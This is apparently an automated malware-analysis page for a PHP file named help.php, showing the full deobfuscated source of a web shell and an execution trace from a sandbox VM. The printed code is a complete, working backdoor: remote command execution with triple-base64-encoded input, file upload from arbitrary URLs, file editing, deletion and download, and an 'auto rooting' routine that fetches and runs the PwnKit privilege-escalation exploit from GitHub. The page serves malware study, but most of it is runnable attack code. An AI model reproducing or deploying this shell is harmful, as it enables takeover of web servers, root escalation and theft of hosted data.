PHP Malware Analysis

help.php

md5: 927f2cbc6c06b39b3434a5677e592558

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

URLs


Deobfuscated PHP code

<!DOCTYPE html>
<html>
<head>
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
    <link href="" rel="stylesheet" type="text/css">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
    <style>
        @import url('https://fonts.googleapis.com/css?family=Dosis');
        @import url('https://fonts.googleapis.com/css?family=Bungee');
        body {
            font-family: "Dosis", cursive;
            text-shadow:0px 0px 1px #757575;
        }

        body::-webkit-scrollbar {
          width: 12px;
      }

      body::-webkit-scrollbar-track {
          background: #1f1f1f;
      }

      body::-webkit-scrollbar-thumb {
          background-color: #1f1f1f;
          border: 3px solid gray;
      }

      #content tr:hover {
        background-color: #636263;
        text-shadow:0px 0px 10px #fff;
    }

    #content .first {
        background-color: #25383C;
    }

    #content .first:hover {
        background-color: #25383C
        text-shadow:0px 0px 1px #757575;
    }

    table {
        border: 1px #000000 dotted;
        table-layout: fixed;
        word-break: break-all;
    }

    textarea {
        max-width: 95%;
        max-height: 100%;
        resize: none;
        outline: none;
        overflow: auto;
        background: transparent;
        color: #fff;
    }

    textarea::-webkit-scrollbar {
      width: 12px;
  }

  textarea::-webkit-scrollbar-track {
      background: #1f1f1f;
  }

  textarea::-webkit-scrollbar-thumb {
      background-color: #1f1f1f;
      border: 3px solid gray;
  }

  a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
    function setfilename(val)
    {
        filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
}

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
    <font face="Bungee" size="5"></font></center>   
    <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
        <tr><td>
            <?php 
set_time_limit(0);
error_reporting(0);
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color='gold'>NONE</font>";
} else {
    $disf = "<font color='red'>" . $disfunc . "</font>";
}
function author()
{
    echo "<center><br></center>";
    exit;
}
function cekdir()
{
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function cekroot()
{
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function xrmdir($dir)
{
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}
function exe($cmd)
{
    if (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('exec')) {
        @exec($cmd, $results);
        $buff = "";
        foreach ($results as $result) {
            $buff .= $result;
        }
        return $buff;
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}
function dunlut($file)
{
    if (!is_readable($file)) {
        red("Cannot Download File / Unreadable File !");
        die;
    }
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush();
    readfile($file);
    die;
}
function owner($file)
{
    if (function_exists("posix_getpwuid")) {
        $tod = @posix_getpwuid(fileowner($file));
        return "<center>" . $tod['name'] . "</center>";
    } else {
        return "<center>" . fileowner($file) . "</center>";
    }
}
function cekwrite($lokasi)
{
    $izin = substr(sprintf('%o', fileperms($lokasi)), -4);
    if (is_writable($lokasi)) {
        return "<font color=green>" . $izin . "</font>";
    } else {
        return "<font color=red>" . $izin . "</font>";
    }
}
function ekse($komend, $lokasi)
{
    if (!function_exists("proc_open")) {
        die("proc_open function disabled !");
    } elseif (!function_exists("base64_decode")) {
        die("base64_decode function disabled !");
    }
    $komen = base64_decode(base64_decode(base64_decode($komend)));
    $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
    echo "<textarea rows='25' cols='100'>" . htmlspecialchars(stream_get_contents($pipes[1])) . "</textarea><br><br>";
}
function ipserv()
{
    if (empty($_SERVER['SERVER_ADDR'])) {
        return gethostbyname($_SERVER['SERVER_NAME']);
    } else {
        return $_SERVER['SERVER_ADDR'];
    }
}
function cekfile($file)
{
    return "<i class=\"fa fa-file\" style=\"color: #d6d4ce\"></i> ";
}
function filedate($file)
{
    return date("F d Y g:i:s", filemtime($file));
}
function unzip($file, $lokasi)
{
    if (!is_readable($file)) {
        red("Cannot Unzip File / Unreadable File !");
        die;
    } elseif (strpos(file_get_contents($file), "PK\x03\x04") === false) {
        red("This isn't Zip File !");
        die;
    }
    $zip = new ZipArchive();
    $res = $zip->open($file);
    if ($res == true) {
        $zip->extractTo($lokasi);
        $zip->close();
        green("Success Unzip File !");
    } else {
        red("Failed to Unzip File !");
    }
}
function green($text)
{
    echo "<center><font color='green'>" . $text . "</center></font>";
}
function red($text)
{
    echo "<center><font color='red'>" . $text . "</center></font>";
}
echo "Server IP : <font color=gold>" . ipserv() . "</font> &nbsp;/&nbsp; Your IP : <font color=gold>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "Web Server : <font color='gold'>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
echo "System : <font color='gold'>" . php_uname() . "</font><br>";
echo "User : <font color='gold'>" . @get_current_user() . "&nbsp;</font>( <font color='gold'>" . @getmyuid() . "</font>)<br>";
echo "PHP Version : <font color='gold'>" . @phpversion() . "</font><br>";
echo "Disable Function : " . $disf . "</font><br>";
echo "MySQL : ";
if (function_exists("mysql_connect")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; cURL : ";
if (function_exists("curl_init")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; WGET : ";
if (file_exists("/usr/bin/wget")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Perl : ";
if (file_exists("/usr/bin/perl")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Python : ";
if (file_exists("/usr/bin/python2")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = stripslashes($value);
}
if (isset($_GET['path'])) {
    $lokasi = $_GET['path'];
    $lokdua = $_GET['path'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}
$lokasi = str_replace('\\', '/', $lokasi);
$lokasis = explode('/', $lokasi);
$lokasinya = @scandir($lokasi);
echo "<br>Directory (" . cekwrite($lokasi) . ") : &nbsp;";
foreach ($lokasis as $id => $lok) {
    if ($lok == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($lok == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$lokasis[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $lok . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_POST['upwkwk'])) {
    if ($_POST['dirnya'] == "2") {
        $lokasi = $_SERVER['DOCUMENT_ROOT'];
    }
    if (isset($_POST['berkasnya'])) {
        $data = @file_put_contents($lokasi . "/" . $_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
        if (file_exists($lokasi . "/" . $_FILES['berkas']['name'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_FILES['berkas']['name'] . "</i></font><br><br>";
        } else {
            echo "<font color='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi . "/" . $_POST['namalink'], @file_get_contents($_POST['darilink']));
        if (file_exists($lokasi . "/" . $_POST['namalink'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_POST['namalink'] . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['bepas'])) {
        $bepasdata = $_POST['bepasdata'];
        $bepasnama = $_POST['bepasnama'];
        if ($bepasdata) {
            echo "string";
        }
        @file_put_contents($lokasi . "/" . $bepasnama, $bepasdata);
        if (file_exists($lokasi . "/" . $bepasnama)) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $bepasnama . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    }
}
echo "</table><br>";
echo "<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">";
echo '<th>[ &nbsp;<a href="' . $_SERVER['SCRIPT_NAME'] . '">Home</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&komend=gaskan">C0mmand</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&upload=gaskan">Upload File</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&root=gaskan">r00t</a>&nbsp; ]</th>';
echo "</table><br>";
echo "<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">";
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&protected=gaskan">Protected Files/folder (only root)</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&unprotected=gaskan">unProtected Files/folder (only root)</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&write=gaskan">Find Directory Writable</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&root=gaskan">r00t</a>&nbsp; ]</th>';
echo "</table><br>";
if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : " . $_GET['fileloc'];
    echo "</tr></td></table><br/>";
    echo "<pre>" . htmlspecialchars(file_get_contents($_GET['fileloc'])) . "</pre>";
    author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
    if (is_dir($_POST['path'])) {
        xrmdir($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
        }
    } elseif (is_file($_POST['path'])) {
        @unlink($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File <i>" . basename($_POST['path']) . "</i> Success !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
    if (isset($_POST['gantin'])) {
        $ren = @rename($_POST['path'], $_POST['newname']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST['name'])) {
        $namaawal = $_POST['newname'];
    } else {
        $namawal = $_POST['name'];
    }
    echo "<center>" . $_POST['path'] . "<br>";
    echo '<form method="post">
        New Name : <input name="newname" type="text" class="up" size="20" value="' . $namaawal . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="pilih" value="gantinama">
        <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
    </form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @file_put_contents($_POST['path'], $_POST['src']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>" . $_POST['path'] . "<br><br>";
    echo '<form method="post">
        <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br>
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="pilih" value="edit">
        <input type="submit" value="Edit File" name="gasedit" />
    </form><br>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") {
    dunlut($_POST['path']);
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
    unzip($_POST['path'], $lokasi);
} elseif ($_REQUEST['upload'] == "gaskan") {
    echo "<center>Upload File : ";
    echo '<form enctype="multipart/form-data" method="post">
        <input type="radio" value="1" name="dirnya" checked>current_dir [ ' . cekdir() . ' ]
        <input type="radio" value="2" name="dirnya" >document_root [ ' . cekroot() . ' ]
        <br>
        <input type="hidden" name="upwkwk" value="aplod">
        <input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br><br>
        Upload File From Link :<br>
        <input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
        <br><br>403 Upload File<br>
        <input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
        <input type="hidden" name="bepasnama" id="namanya">
        <textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>
        <input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
    </form><br><br></center>';
} elseif ($_GET['root'] == "gaskan") {
    echo "<center>\r\n    <textarea rows='25' cols='100'>";
    exe('curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o cakilroot;chmod +x cakilroot');
    echo "[*] Auto Rooting Server By MrcakilB0t";
    echo "&#13;&#10;";
    echo "[+] Checking Root";
    echo "&#13;&#10;";
    $cekroot = exe("./cakilroot 'id'");
    if ($cekroot == "") {
        echo "[+] Failed Rooted!";
        exe('rm -rf cakilroot');
    } else {
        echo '[+] SuccessFull Rooted : ' . exe("./cakilroot id") . ' ';
        exe('rm -rf cakilroot');
    }
    echo "</textarea></center><br><br>";
} elseif ($_GET['protected'] == "gaskan") {
    echo "<center>";
    echo "Your Files/Folder";
    echo "<form method=\"post\" onsubmit=\"document.getElementById('komendnya').value = btoa(btoa(btoa(document.getElementById('komendnya').value)))\">\r\n         <input type=\"text\" name=\"protectnya\" id=\"komendnya\" style=\"background-color: #1f1f1f; color: #fff\">\r\n        <input type=\"submit\" name=\"eksekomend\" value=\" >> \" class=\"up\" style=\"cursor: pointer; border-color: #fff\">\r\n    </form><br>";
    if (isset($_POST['eksekomend'])) {
        $kon = $_GET['protectnya'];
        exe('curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o cakilroot;chmod +x cakilroot');
        exe("./cakilroot 'sudo chattr +i {$kon}'");
        echo "[+] Done Protected";
        exe('rm -rf cakilroot');
        echo "</textarea></center><br><br>";
    }
    echo "</center>";
} elseif ($_GET['write'] == "gaskan") {
    echo "<center>";
    echo "Your Files/Folder";
    echo "<form method=\"post\" onsubmit=\"document.getElementById('komendnya').value = btoa(btoa(btoa(document.getElementById('komendnya').value)))\">\r\n         <input type=\"text\" name=\"writenya\" style=\"background-color: #1f1f1f; color: #fff\">\r\n        <input type=\"submit\" name=\"eksekomend\" value=\" >> \" class=\"up\" style=\"cursor: pointer; border-color: #fff\">\r\n    </form><br>";
    if (isset($_POST['eksekomend'])) {
        $asu = "find " . $_POST['writenya'] . " -writable";
        $komen = base64_decode(base64_decode(base64_decode($asu)));
        $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
        echo "<textarea rows='25' cols='100'>" . htmlspecialchars(stream_get_contents($pipes[1])) . "</textarea><br><br>";
    }
    echo "</center>";
} elseif ($_GET['unprotected'] == "gaskan") {
    echo "<center>";
    echo "Your Files/Folder";
    echo "<form method=\"post\" onsubmit=\"document.getElementById('komendnya').value = btoa(btoa(btoa(document.getElementById('komendnya').value)))\">\r\n         <input type=\"text\" name=\"unprotectnya\" id=\"komendnya\" style=\"background-color: #1f1f1f; color: #fff\">\r\n        <input type=\"submit\" name=\"eksekomend\" value=\" >> \" class=\"up\" style=\"cursor: pointer; border-color: #fff\">\r\n    </form><br>";
    if (isset($_POST['eksekomend'])) {
        $kon = $_GET['unprotectnya'];
        exe('curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o cakilroot;chmod +x cakilroot');
        exe("ls");
        echo "[+] Done unProtected";
        exe('rm -rf cakilroot');
        echo "</textarea></center><br><br>";
    }
    echo "</center>";
} elseif ($_GET['komend'] == "gaskan") {
    echo "<center>";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
        ' . @get_current_user() . '@' . ipserv() . ':~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">
        <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
        ekse($_POST['komend'], $lokasi);
    }
    echo "</center>";
}
if (!is_readable($lokasi)) {
    die("<center>This directory is unreadable :(</center>");
}
echo "<div id=\"content\"><table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n    <tr class=\"first\">\r\n        <td><center>Name</center></td>\r\n        <td><center>Size</center></td>\r\n        <td><center>Last Modified</center></td>\r\n        <td><center>Owner</center></td>\r\n        <td><center>Permissions</center></td>\r\n        <td><center>Options</center></td>\r\n    </tr>";
foreach ($lokasinya as $dir) {
    if (!is_dir($lokasi . "/" . $dir) || $dir == '.') {
        continue;
    }
    echo "<tr>\r\n        <td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?path=" . $lokasi . "/" . $dir . "\">" . $dir . "</a></td>\r\n        <td><center>--</center></td>\r\n        <td><center>" . filedate($lokasi . "/" . $dir) . "</center></td>\r\n        <td>" . owner($lokasi . "/" . $dir) . "</td>\r\n        <td><center>";
    if (is_writable($lokasi . "/" . $dir)) {
        echo "<font color=\"green\">";
    } elseif (!is_readable($lokasi . "/" . $dir)) {
        echo "<font color=\"red\">";
    }
    echo statusnya($lokasi . "/" . $dir);
    if (is_writable($lokasi . "/" . $dir) || !is_readable($lokasi . "/" . $dir)) {
        echo "</font>";
    }
    echo "</center></td>\r\n            <td><center><form method=\"POST\" action=\"?pilihan&path={$lokasi}\">\r\n                <select name=\"pilih\">\r\n                    <option value=\"\"></option>\r\n                    <option value=\"hapus\">Delete</option>\r\n                    <option value=\"gantinama\">Rename</option>\r\n                </select>\r\n                <input type=\"hidden\" name=\"type\" value=\"dir\">\r\n                <input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n                <input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$dir}\">\r\n                <input type=\"submit\" class=\"gas\" value=\">\" />\r\n            </form></center></td>\r\n        </tr>";
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td><td></td><td></td></tr>";
foreach ($lokasinya as $file) {
    if (!is_file("{$lokasi}/{$file}")) {
        continue;
    }
    $size = filesize("{$lokasi}/{$file}") / 1024;
    $size = round($size, 3);
    if ($size >= 1024) {
        $size = round($size / 1024, 2) . ' MB';
    } else {
        $size .= ' KB';
    }
    echo "<tr>\r\n    <td>" . cekfile($lokasi . "/" . $file) . "<a href=\"?fileloc={$lokasi}/{$file}&path={$lokasi}\">{$file}</a></td>\r\n    <td><center>" . $size . "</center></td>\r\n    <td><center>" . filedate($lokasi . "/" . $file) . "</center></td>\r\n    <td>" . owner($lokasi . "/" . $file) . "</td>\r\n    <td><center>";
    if (is_writable("{$lokasi}/{$file}")) {
        echo "<font color=\"green\">";
    } elseif (!is_readable("{$lokasi}/{$file}")) {
        echo "<font color=\"red\">";
    }
    echo statusnya("{$lokasi}/{$file}");
    if (is_writable("{$lokasi}/{$file}") || !is_readable("{$lokasi}/{$file}")) {
        echo "</font>";
    }
    echo "</center></td><td><center>\r\n            <form method=\"post\" action=\"?pilihan&path={$lokasi}\">\r\n                <select name=\"pilih\">\r\n                    <option value=\"\"></option>\r\n                    <option value=\"hapus\">Delete</option>\r\n                    <option value=\"dunlut\">Download</option>\r\n                    <option value=\"gantinama\">Rename</option>\r\n                    <option value=\"edit\">Edit</option>";
    if (class_exists("ZipArchive")) {
        echo "<option value=\"unzip\">Unzip</option>";
    }
    echo "</select>\r\n            <input type=\"hidden\" name=\"type\" value=\"file\">\r\n            <input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n            <input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$file}\">\r\n            <input type=\"submit\" class=\"gas\" value=\">\" />\r\n        </form></center></td>\r\n    </tr>";
}
echo "</tr></td></table></table>";
author();
function statusnya($file)
{
    $izin = substr(sprintf('%o', fileperms($file)), -4);
    return $izin;
}

Execution traces

data/traces/927f2cbc6c06b39b3434a5677e592558_trace-1676237032.6323.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:24:18.530144]
1	0	1	0.000205	393512
1	3	0	0.000829	519800	{main}	1		/var/www/html/uploads/help.php	0	0
2	4	0	0.000850	519800	set_time_limit	0		/var/www/html/uploads/help.php	144	1	0
2	4	1	0.000868	519864
2	4	R			FALSE
2	5	0	0.000882	519832	error_reporting	0		/var/www/html/uploads/help.php	145	1	0
2	5	1	0.000895	519872
2	5	R			22527
2	6	0	0.000908	519832	ini_get	0		/var/www/html/uploads/help.php	147	1	'disable_functions'
2	6	1	0.000923	520312
2	6	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/help.php	147	$disfunc = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/help.php	151	$disf = '<font color=\'red\'>pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font>'
2	7	0	0.000995	520728	ipserv	1		/var/www/html/uploads/help.php	311	0
2	7	1	0.001008	520728
2	7	R			'127.0.0.1'
2	8	0	0.001023	520728	php_uname	0		/var/www/html/uploads/help.php	313	0
2	8	1	0.001037	520840
2	8	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	9	0	0.001057	520728	get_current_user	0		/var/www/html/uploads/help.php	314	0
2	9	1	0.001093	520768
2	9	R			'osboxes'
2	10	0	0.001109	520832	getmyuid	0		/var/www/html/uploads/help.php	314	0
2	10	1	0.001121	520832
2	10	R			1000
2	11	0	0.001135	520736	phpversion	0		/var/www/html/uploads/help.php	315	0
2	11	1	0.001147	520800
2	11	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	12	0	0.001163	520736	function_exists	0		/var/www/html/uploads/help.php	318	1	'mysql_connect'
2	12	1	0.001177	520776
2	12	R			FALSE
2	13	0	0.001190	520736	function_exists	0		/var/www/html/uploads/help.php	324	1	'curl_init'
2	13	1	0.001203	520776
2	13	R			TRUE
2	14	0	0.001217	520736	file_exists	0		/var/www/html/uploads/help.php	330	1	'/usr/bin/wget'
2	14	1	0.001237	520776
2	14	R			TRUE
2	15	0	0.001255	520848	file_exists	0		/var/www/html/uploads/help.php	336	1	'/usr/bin/perl'
2	15	1	0.001271	520888
2	15	R			TRUE
2	16	0	0.001284	520848	file_exists	0		/var/www/html/uploads/help.php	342	1	'/usr/bin/python2'
2	16	1	0.001299	520888
2	16	R			FALSE
2	17	0	0.001314	520848	getcwd	0		/var/www/html/uploads/help.php	356	0
2	17	1	0.001328	520896
2	17	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/help.php	356	$lokasi = '/var/www/html/uploads'
2	18	0	0.001354	520896	getcwd	0		/var/www/html/uploads/help.php	357	0
2	18	1	0.001366	520944
2	18	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/help.php	357	$lokdua = '/var/www/html/uploads'
2	19	0	0.001391	520944	str_replace	0		/var/www/html/uploads/help.php	360	3	'\\'	'/'	'/var/www/html/uploads'
2	19	1	0.001407	521040
2	19	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/help.php	360	$lokasi = '/var/www/html/uploads'
2	20	0	0.001431	520944	explode	0		/var/www/html/uploads/help.php	361	2	'/'	'/var/www/html/uploads'
2	20	1	0.001445	521520
2	20	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/help.php	361	$lokasis = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2	21	0	0.001478	521448	scandir	0		/var/www/html/uploads/help.php	362	1	'/var/www/html/uploads'
2	21	1	0.001512	522072
2	21	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'help.php', 5 => 'prepend.php']
1		A						/var/www/html/uploads/help.php	362	$lokasinya = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'help.php', 5 => 'prepend.php']
2	22	0	0.001549	522040	cekwrite	1		/var/www/html/uploads/help.php	364	1	'/var/www/html/uploads'
3	23	0	0.001563	522040	fileperms	0		/var/www/html/uploads/help.php	246	1	'/var/www/html/uploads'
3	23	1	0.001578	522104
3	23	R			16895
3	24	0	0.001591	522064	sprintf	0		/var/www/html/uploads/help.php	246	2	'%o'	16895
3	24	1	0.001610	522448
3	24	R			'40777'
3	25	0	0.001624	522384	substr	0		/var/www/html/uploads/help.php	246	2	'40777'	-4
3	25	1	0.001637	522480
3	25	R			'0777'
2		A						/var/www/html/uploads/help.php	246	$izin = '0777'
3	26	0	0.001661	522096	is_writable	0		/var/www/html/uploads/help.php	247	1	'/var/www/html/uploads'
3	26	1	0.001677	522136
3	26	R			TRUE
2	22	1	0.001690	522120
2	22	R			'<font color=green>0777</font>'
1		A						/var/www/html/uploads/help.php	366	$id = 0
1		A						/var/www/html/uploads/help.php	368	$a = TRUE
1		A						/var/www/html/uploads/help.php	366	$id = 1
1		A						/var/www/html/uploads/help.php	374	$i = 0
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	366	$id = 2
1		A						/var/www/html/uploads/help.php	374	$i = 0
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	366	$id = 3
1		A						/var/www/html/uploads/help.php	374	$i = 0
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	366	$id = 4
1		A						/var/www/html/uploads/help.php	374	$i = 0
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	374	$i++
1		A						/var/www/html/uploads/help.php	374	$i++
2	27	0	0.001965	522064	is_readable	0		/var/www/html/uploads/help.php	591	1	'/var/www/html/uploads'
2	27	1	0.001982	522104
2	27	R			TRUE
